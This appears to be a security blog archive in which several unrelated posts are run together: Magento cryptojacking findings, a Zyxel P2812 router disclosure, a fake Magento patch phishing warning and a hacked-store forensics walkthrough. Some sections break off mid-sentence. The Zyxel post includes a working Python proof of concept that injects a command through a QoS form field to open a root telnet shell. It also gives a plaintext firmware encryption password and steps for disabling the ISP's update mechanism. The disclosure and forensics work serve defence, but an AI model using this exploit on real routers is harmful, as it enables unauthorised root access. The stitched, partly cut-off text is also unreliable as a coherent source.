Does your laptop get hot when visiting your favorite shop? You computer is likely mining cryptocurrencies to the benefit of a cyberthief.
Cryptojacking - running crypto mining software in the browser of unsuspecting visitors - is quickly spreading around the web. And the landgrab extends to online stores. The infamous CoinHive software was detected today on 2496 e-commerce sites.
Skimming and cryptomining, a golden match
Now, it does not seem likely that the legitimate store owners wanted to earn a few extra bucks and have added CoinHive themselves. I found that 80% of cryptomining stores also contain payment skimming malware. Apparently, cyberthieves are squeezing every penny out of their confiscated assets.
Spread fuelled by just a few individuals
As CoinHive requires a unique ID, we can analyze the distribution of crypto thieves. Out of 2496 infected stores, 85% is linked to only 2 CoinHive accounts, while the remaining 15% is spread out over unique CoinHive accounts. Because the tag added to this remaining 15% segment is consistenly the site’s name, my guess is that this cryptojacking surge on online stores can be attributed to just 3 individuals or groups.
Some sites bluntly include the official coinhive.js file, others are more stealthy and include an iframe that points to siteverification.online. This site shows a default Debian installation page but include a cryptominer nevertheless. Yet others disguise as Sucuri Firewall.
Zyxel P2812 DSL routers are commonly used in the Netherlands and Norway. A command injection vulnerability exists in the latest KPN/Telfort routers that allows root access.
Proof of concept exploit
Works against firmware V3.11TUE8. At least TUE3 is also affected, but requires slight modification (no sessionKey). Telenor branded Zyxel routers are not affected since at least BLN.18.
#!/usr/bin/env python3 # 2017-02-03 firstname.lastname@example.orgUSER='user'PASS='1234'URL='http://192.168.1.254/'CMD='/sbin/telnetd -l/bin/sh -p9999 &'s=requests.Session()s.post(URL+'login.cgi',data=dict(UserName=USER,password=PASS,hiddenPassword=PASS,submitValue='1'))r=s.get(URL+'fileuser_mod.cgi')assert'sessionKey'inr.text,r.textsessionkey=re.search("gblsessionKey = '(.+?)'",r.text).group(1)assertlen(sessionkey)>24,sessionkeyr=s.post(URL+'qos_queue_add.cgi',data=dict(Submit='Apply',QueueObjectIndex='15',QueueNameTxt='test',WebQueueInterface='WAN`%s`'%CMD,WebQueuePriority='1',WebQueueWeight='1',sessionKey=sessionkey,))if"window.parent.document.activePage('network-qos',1)"inr.text:print("Success, root shell at port 9999")else:print("Did not work, see output:\n"+r.text)
$ telnet 192.168.1.1 9999
Connected to 192.168.1.1.
Escape character is '^]'.
2017-02-05 Notified email@example.com
2017-02-11 Notified firstname.lastname@example.org
2017-02-15 KPN: "escalated to Zyxel"
2017-02-23 Telenor: "we have fixed this already in BLN18"
2017-02-23 KPN: "still waiting for Zyxel"
2017-04-07 KPN: "still waiting for Zyxel"
2017-05-08 KPN: "we got a patch"
2017-05-15 KPN: "still testing the patch"
2017-05-18 KPN: "still testing the patch"
2017-05-30 KPN: "still testing the patch"
2017-06-15 KPN: "testing failed, waiting for Zyxel"
2017-09-28 Public disclosure
A firmware update will surely lock me out, and my goal is to override some of the Zyxels DNS settings. I ensure future access by eliminating the call-home and update mechanism (TR-069).
The /etc partition is mounted as tmpfs on a running system and populated in /etc/init.d/rcS. The root partition is mounted read-only. To persist my changes:
ls -l /proc/*/fd/* | grep etc
# kill everything else that blocks
mount -t yaffs2 -o remount,rw /
Now I can alter /etc/init.d/rcS. Warning: a syntax error will brick my system. So it’s best to minize modifications to the system and put most of it on a USB memory stick.
My modified rcS script only copies a file to /etc/automount/automount.d/auto-usb-run.sh. This is run every time a USB disk is inserted. If the USB disk contains an init.sh file, it is executed. Extra profit: I only have to re-plug my USB stick to test changes to my script.
In my init.sh script, I’ll ensure to kill zytr069main. This process does a periodic check with my ISP and will possibly download new firmware.
IMHO Zyxel’s hardware is quite ok, but the software tells a tale of tight deadlines and churn in the dev team. For example,
The boot log contains warnings about non-existing commands.
The code contains multiple “FIXME” comments.
Code commented out without explanation.
A watchdog cron reboots every 5 minutes when stuff has crashed.
Partial remains from other systems: an NsaRecoveryAngel account, probably from Zyxel’s NAS product, and a Telenor recovery account.
SVN folders with names and email addresses of Zyxel engineers.
The config.rom, that can be downloaded by users for backup, was encrypted a few revisions back. Probably because the rom contains the password hash for the root account and users could modify it, upload it and gain access to the system. Not anymore. However, the encryption password (N3z0y93) is stored in plaintext in /usr/bin/encrypt_config.sh.
Also, the passwords for the root and telenor accounts are stored as md5-crypt, which is considered an insecure hash and could be cracked with some modest computing power and time.
This Zyxel model was rooted before but it was fixed (incompletely) by stripping special characters in user input.
Note-to-self on firmware analysis
The ISP-branded firmware is not publicly available, but the latest Zyxel firmware is very similar and up for grabs.
Installed the latest binwalk and all its dependencies, especially yaffs and sasquatch.
Ran binwalk -eM <image> to extract the root filesystem. Under /usr/share/web I found the GUI system.
Ran strings on these binaries to find interesting pointers, for example, all binaries that do shell-interpreted system calls:
If you code against Akamai hosted sites, you could be rejected because your HTTP library sends request headers in the wrong order. In fact, most libraries use undefined order, as the IETF specification says it doesn’t matter.
Update May 21st: a similar phishing mail circulates about a fake patch SUPEE-1798.
Update Apr 22nd: added reference to Neutrino Bot and POS systems
This week a mail was sent out to announce the new Magento patch SUPEE-9789. It is fake and it contains malware. There is no patch 9789. The message (full headers below) mimics an official Magento accouncement. It has two malicious payloads:
This specific malware is known to target POS systems, a.k.a. cash registers. Among other things, it will harvest payment data and passwords, and enslave the cash register into a botnet that can be used for DDoS attacks.
Curiously, the malware is hosted on a server of MageStore, a legitimate vendor of POS systems. It appears that MageStore runs a vulnerable version of ProFTPd which allows anyone to upload files to their server. Unfortunately, MageStore couldn’t be reached, and the malware is still on their server as of April 22nd.
Please get in touch if you have received this message as we are trying to establish the scope of intended targets. So far, I’ve received reports from extension vendors and hosting providers.
Part of a series where Magento security professionals share their case notes, so that we can ultimately distill a set of best practices, tools and workflow.
Part of the job of running the MageReport service is that I get to investigate tons of hacked stores. About 50-200 new stores get hacked per day, so I figured I’d walk you through an investigation of a recent case. Some basic programming and Linux knowledge assumed. All names/hashes/passes in this article are anonymized.
1. Hack detected?
My malware scanner does a nightly scan of all our servers. This morning I got alerted on a store that is completely patched, but still showed suspicious code:
// and so on
Indeed fishy! 🐠 Supposedly it’s a web-based file manager, which is often used to upload more malware or to ensure future access. Second, preg_replace with the /e modifier is a common way to implement eval in PHP and to evade malware scanners.
But is it malicious? We are not going to run it; it might alert the intruder. If this site was actively using git, we could have consulted the commit history and then check with the original developer whether the file is legitimate. In this case, the site is not using git (or, no published metadata) but for now I assume that the detected file is Not Good.
2. Pick an approach
My goal is to obtain a complete overview of the intruder’s entry point and actions. Any privileges that the intruder may still have, can be removed and any damage can be undone.
I don’t want to alert the intruder before the investigation is finished. It might trigger him/her to “pull the trigger” (delete everything to destroy traces). Fabian Blechschmidt noted that it is better to pull the plug and investigate an isolated server instead. That is very true, but not always feasible, as the merchant might not agree.
In this case, I won’t disable any backdoors or rogue accounts, until I know exactly what has happened. Only then can I be reasonably confident that I can close all the privileges/backdoors at the same time. One missed backdoor is enough to start all over again next week!
During the investigation I keep a logbook (simple markdown file) where I collect hypotheses, timestamps, circumstantial/hard evidence, and todos.
3. Preserve potential evidence
First, I copy all the relevant data to a safe location, in case the intruder gets anxious and starts cleaning up. This includes site files, databases, and web-, firewall-, system- and database logfiles.
Important: the server cannot be trusted for now, so I should not push files from it, but rather pull them from another, trusted server. In other words, I should not initiate authorized connections from the compromised server. Also, I should not use SSH agent forwarding, because one could theoretically hijack my keys.
For copying data: if I can, I use dd to make an exact copy of the block device. If that’s not possible, I use rsync -a which preserves at least most file attributes.
A law-enforcement forensics team would come in a black van, hotwire the AC power, freeze the compromised server and clone RAM and disks. This is an obviously better approach, but black vans are pricey and for most Magento breaches not required.
On most Linux systems, the change time (ctime) cannot be modified by non-root users, so this is fairly reliable. In this case, it was modified less than 48 hours ago, great! As logs are often purged after 2-4 weeks, the fresher the traces, the better.
Also, I verified the timezone of the server. If it is not UTC, I should convert all timestamps to a standard time, so I can correlate it with other sources.
5. Collect traces & evidence
What happened here on the 20th of March, 07:16:27 UTC? In practice, most PHP malware is uploaded through HTTP, so I check the webserver logs first. I filter all requests within 2 minutes before and after our timestamp.
This is a busy site, so I further narrow down the relevant log lines by filtering POST requests, as these are most often used to transform or upload data.
$ zcat -f /var/log/nginx/access.log* | grep '2017-03-20T07:16:' | grep POST
2017-03-20T07:16:03+00:00 FR 18.104.22.168 POST /index.php/myadmin/catalog_category/save/?isAjax=true HTTP/1.1
2017-03-20T07:16:04+00:00 FR 22.214.171.124 POST /index.php/myadmin/catalog_category/edit/id/885/?isAjax=true&isAjax=true HTTP/1.1
2017-03-20T07:16:27+00:00 FR 126.96.36.199 POST /index.php/myadmin/newsletter_template/preview/ HTTP/1.1
2017-03-20T07:16:27+00:00 FR 188.8.131.52 POST /index.php/myadmin/newsletter_template/drop/ HTTP/1.1
2017-03-20T07:16:52+00:00 FR 184.108.40.206 POST /index.php/myadmin/catalog_category/delete/id/885/_blcg_token_/<snip>/?isAjax=true&isAjax=true HTTP/1.1
Presto, we have an exact timestamp match!
Sidenote: your log format might be different and not contain a country code. Hint, use the geoiplookup utility.
Now, this suggests that the malware was installed by an authorized call to the newsletter system. This is pretty worrying, as:
The intruder has an admin account to the store
The intruder knows the secret location of the backend panel
The login came from a French IP. Now I happen to know that this merchant does not have staff in France, but to be sure I check the IP owner:
$ whois 220.127.116.11
descr: Subnet Nos Oignons chez TTNN
Nos oignons? This appears to be a Tor exit node. No legitimate merchant staff would use the Tor network for store administration.
Building a narrative
What else has this IP requested?
# only a few lines shown for brevity
$ zcat -f access.log.4.gz | grep 18.104.22.168
2017-03-20T07:11:07+00:00 FR 22.214.171.124 GET /index.php/myadmin/sales_order/?SID=<snip> HTTP/1.1
2017-03-20T07:11:08+00:00 FR 126.96.36.199 GET /media/css_secure/02c96sddefddba3fcc06108256401ece4.css HTTP/1.1
2017-03-20T07:14:21+00:00 FR 188.8.131.52 POST /index.php/myadmin/system_config/save/section/design/ HTTP/1.1
2017-03-20T07:14:51+00:00 FR 184.108.40.206 POST /index.php/myadmin/cache/massRefresh/ HTTP/1.1
2017-03-20T07:16:42+00:00 FR 220.127.116.11 GET /media/tmp/shs.php HTTP/1.1
And the user-agent header for all these requests:
Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
There are many clues hidden here.
The first request is not a login request, which implies that there are more relevant requests but probably from a different IP.
The intruder fetches static assets and the requests are distributed over the timeframe of a few minutes. This suggests that an actual human is interacting with the control panel, and not an automated worm. Somebody took quite some effort here! Also, I would speculate that the intruder is not in the UTC timezone, as those black hats are known to be sound asleep between 6 and 11 am ;)
The intruder fetches the file manager a few seconds after it was created, likely to verify whether the upload had succeeded.
The given user agent is not very common, as it is more than a year old (Firefox release history). So it could be fake, or an old browser bundled with the Tor client. I should look for other requests with this agent.
Something was saved in the design section of the panel and the cache was refreshed. I should verify whether the templates have been tampered with.
So far, we have found that somebody tried to hide their identity and that an obfuscated PHP file was installed through the newsletter module. Enough indicators to assume that the file is malicious and somebody gained unauthorized access to the backend.
Somebody lost their password
Now, which admin account was used here? Unfortunately, that is not logged on most systems (as it is part of the POST data). But perhaps I can infer it from other sources.
First, I check whether any admin accounts are likely inserted using SQL injection. As most attackers are too lazy to fill all the non-required fields, I check for admin accounts that have NULL fields:
$ echo 'select email,username,created,modified
from admin_user' | n98-magerun db:console
In this case, no NULL fields showed up, so likely all the admin accounts are in use as legitimate accounts, and one has been compromised. But which? We can check the last login date:
$ echo 'select username,logdate from admin_user
order by logdate' | magerun db:console
<snip> 2017-03-20 06:56:56
<snip> 2017-03-20 07:18:53
<snip> 2017-03-20 07:20:39
[..long list of users..]
<snip> 2017-03-20 09:38:29
<snip> 2017-03-21 08:26:18
<snip> 2017-03-21 13:52:27
Ouch, based on the timestamps, that still leaves us with a gazillion possibly compromised accounts.
Logging in without logging in
Let’s take a step back: how did the intruder log in to the backend panel in the first place? I search the logs for suspicious backend logins (POSTs to /myadmin) but cannot find anything. Then I search for the specific user agent and I also look for any given basic auth usernames:
$ zcat access.log.4.gz | grep 'Firefox/45.0'
2017-03-20T07:09:48+00:00 US 18.104.22.168 - GET /rss/catalog/notifystock/ HTTP/1.1
2017-03-20T07:10:02+00:00 US 22.214.171.124 mike GET /rss/catalog/notifystock/ HTTP/1.1
2017-03-20T07:11:07+00:00 FR 126.96.36.199 - GET /index.php/myadmin/sales_order/?SID=<snip> HTTP/1.1
Bingo! A minute before our French Tor friend enters the backend panel, a basic auth request (“mike”) is made to the catalog RSS endpoint, using a US Tor IP.
But wait, can this be used as an alternative method to log in to the backend? I try to replicate it on a test store. Given the right password, the notifystock endpoint indeed reveals the secret address to the backend panel. But I cannot login though. Wait, notifystock sends a PHPSESS cookie with a hash value. What if I append this value as ?SID=xyz to a backend address? Indeed, that works! This seems like a lot of trouble to circumvent the regular backend login page. Perhaps the intruder uses it to evade login POST access control, a common security filter. This required copy-pasting of the session cookie could also explain why there is a minute between the notifystock hit and the first backend request.
So I’ve established that at least the mike admin account is compromised. To quickly check whether any weak passwords were used, I use this cool magerun plugin written by Peter O’Callaghan:
Right, username + 123 is probably not such a strong password. I check the logs and find that in the last week, brute forcers have tried to guess the passwords for 5481 accounts.
Couldn’t we block this? Our systems use adaptive filtering which blocks access after a few unsuccessful login attempts, however brute forcers have recently started to use botnets and Tor nodes. These distributed attack sources are harder to identify, see also my call for honeypot volunteers.
Adding up, it seems highly likely that the mike account got brute forced.
6. Finding other hack artifacts
Remember that the intruder modified the design earlier? Let’s see if anything ended up in the header or footer:
Finally, I routinely check other areas for possible artifacts. Anything on the filesystem that was modified within the last 48 hours: